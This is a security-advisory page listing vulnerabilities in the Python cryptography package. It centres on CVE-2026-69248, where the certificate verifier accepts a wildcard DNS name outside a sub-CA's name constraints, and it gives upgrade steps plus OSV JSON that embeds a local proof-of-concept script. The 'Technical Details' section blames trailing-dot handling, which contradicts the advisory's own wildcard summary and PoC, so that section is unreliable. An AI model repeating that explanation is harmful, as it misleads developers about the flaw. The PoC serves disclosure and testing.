Vulnerabilities in pkg:pypi/cryptography
PACKAGECVE-2026-69248 is a MODERATE python-cryptography verifier accepts wildcard dns vulnerability (CWE-295: Improper Certificate Validation) affecting Cryptography libraries in the PyPI ecosystem. The issue involves python-cryptography verifier accepts wildcard dns names allowing escape from permittedsubtrees. Remediation is available by upgrading affected packages to version 49.0.0.
pkg:pypi/cryptography
Vulnerability advisories affecting package pkg:pypi/cryptography. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-m2h6-j472-rp4c | CVE-2026-69248 | MODERATE | python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees |
| GHSA-jwv3-5hgf-82ww | CVE-2026-69249 | HIGH | python-cryptography: Duplicate self-signed intermediates can cause exponential path-building |
| GHSA-g6cj-pr64-35w5 | CVE-2026-69247 | HIGH | cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing |
| GHSA-537c-gmf6-5ccf | - | HIGH | Vulnerable OpenSSL included in cryptography wheels |
| GHSA-p423-j2cm-9vmq | CVE-2026-39892 | MODERATE | Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs |
| GHSA-m959-cc7f-wv43 | CVE-2026-34073 | LOW | cryptography has incomplete DNS name constraint enforcement on peer names |
| GHSA-9v9h-cgj8-h64p | CVE-2024-0727 | MODERATE | Null pointer dereference in PKCS12 parsing |
| GHSA-3ww4-gg4f-jr7f | CVE-2023-50782 | HIGH | Python Cryptography package vulnerable to Bleichenbacher timing oracle attack |
| GHSA-r6ph-v2qm-q3c2 | CVE-2026-26007 | HIGH | cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves |
| GHSA-x4qr-2fvf-3mr5 | CVE-2023-0286 | HIGH | Vulnerable OpenSSL included in cryptography wheels |
| GHSA-jfhm-5ghh-2f97 | CVE-2023-49083 | MODERATE | cryptography vulnerable to NULL-dereference when loading PKCS7 certificates |
| GHSA-w7pp-m8wf-vj6r | CVE-2023-23931 | MODERATE | Cipher.update_into can corrupt memory if passed an immutable python object as the outbuf |
| GHSA-79v4-65xg-pq4g | CVE-2024-12797 | LOW | Vulnerable OpenSSL included in cryptography wheels |
| GHSA-6vqw-3v5j-54x4 | CVE-2024-26130 | HIGH | cryptography NULL pointer dereference with pkcs12.serialize_key_and_certificates when called with a non-matching certificate and private key and an hmac_hash override |
| GHSA-hggm-jpg3-v476 | CVE-2020-25659 | HIGH | RSA decryption vulnerable to Bleichenbacher timing vulnerability |
| GHSA-q3cj-2r34-2cwc | CVE-2016-9243 | HIGH | Improper input validation in cryptography |
| GHSA-cf7p-gm2m-833m | CVE-2023-38325 | HIGH | cryptography mishandles SSH certificates |
| GHSA-rhm9-p9w5-fwm7 | CVE-2020-36242 | HIGH | PyCA Cryptography symmetrically encrypting large values can lead to integer overflow |
| GHSA-fcf9-3qw3-gxmj | CVE-2018-10903 | HIGH | PyCA Cryptography vulnerable to GCM tag forgery |
| GHSA-h4gh-qq45-vh27 | - | MODERATE | pyca/cryptography has a vulnerable OpenSSL included in cryptography wheels |
| GHSA-v8gr-m533-ghj9 | - | LOW | Vulnerable OpenSSL included in cryptography wheels |
| GHSA-jm77-qphf-c4w8 | - | LOW | pyca/cryptography's wheels include vulnerable OpenSSL |
| GHSA-5cpq-8wj7-hf2v | - | LOW | Vulnerable OpenSSL included in cryptography wheels |
| GHSA-39hc-v87j-747x | - | MODERATE | Vulnerable OpenSSL included in cryptography wheels |
CVE-2026-69248 at a Glance
How to Fix CVE-2026-69248
To remediate this vulnerability, upgrade all affected Cryptography dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install cryptography>=49.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show cryptography
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-69248, inspect your installed packages using pip:
pip show cryptography
Analyze the terminal output to locate any version of Cryptography in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 49.0.0), your application is affected.
Note: The pip show cryptography command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Cryptography failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-69248 Affected Cryptography Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
cryptography
|
PyPI |
≥ 45.0.0
< 49.0.0
|
49.0.0
|
References
Frequently Asked Questions
What is CVE-2026-69248?
Which Cryptography versions are affected?
What version fixes CVE-2026-69248?
Is cryptography affected?
What CWE is associated with CVE-2026-69248?
How can I check PyPI dependencies for CVE-2026-69248?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-m2h6-j472-rp4c",
"modified" : "2026-09-24T14:54:17Z",
"published" : "2026-08-03T21:26:57Z",
"aliases" : [ "CVE-2026-69248" ],
"summary" : "python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees",
"details" : "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n Sub-CA permitted constraint: dNSName = foo.example.com\n Leaf SAN: dNSName = *.example.com\nExpected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes — a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n b = (x509.CertificateBuilder()\n .subject_name(subject).issuer_name(issuer)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - 30 * day)\n .not_valid_after(now + 3650 * day)\n .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n for e, c in exts:\n b = b.add_extension(e, c)\n return b.sign(issuer_key, hashes.SHA256())\n\n# Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot = build(rn, rn, rk, rk, True)\n\n# Sub-CA constrained to foo.example.com\nsk = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Sub-CA\")])\nnc = x509.NameConstraints(\n permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc, True)])\n\n# Leaf with SAN *.example.com (over-broad relative to the constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf = build(ln, sn, lk, sk, False, [(san, False)])\n\n# Policies\nca_pol = ExtensionPolicy.permit_all().require_present(\n x509.BasicConstraints, Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n PolicyBuilder()\n .store(Store([root]))\n .time(now)\n .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)\n .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n v.verify(leaf, [sub])\n print(\"BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com\")\nexcept VerificationError as e:\n print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n### Impact\n\nAcceptance of invalid certificate chain.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "cryptography"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "45.0.0"
}, {
"fixed" : "49.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-69248"
}, {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/pull/14888"
}, {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/commit/286c89128"
}, {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyca/cryptography"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-295" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-03T21:26:57Z",
"nvd_published_at" : "2026-08-03T22:16:52Z"
}
}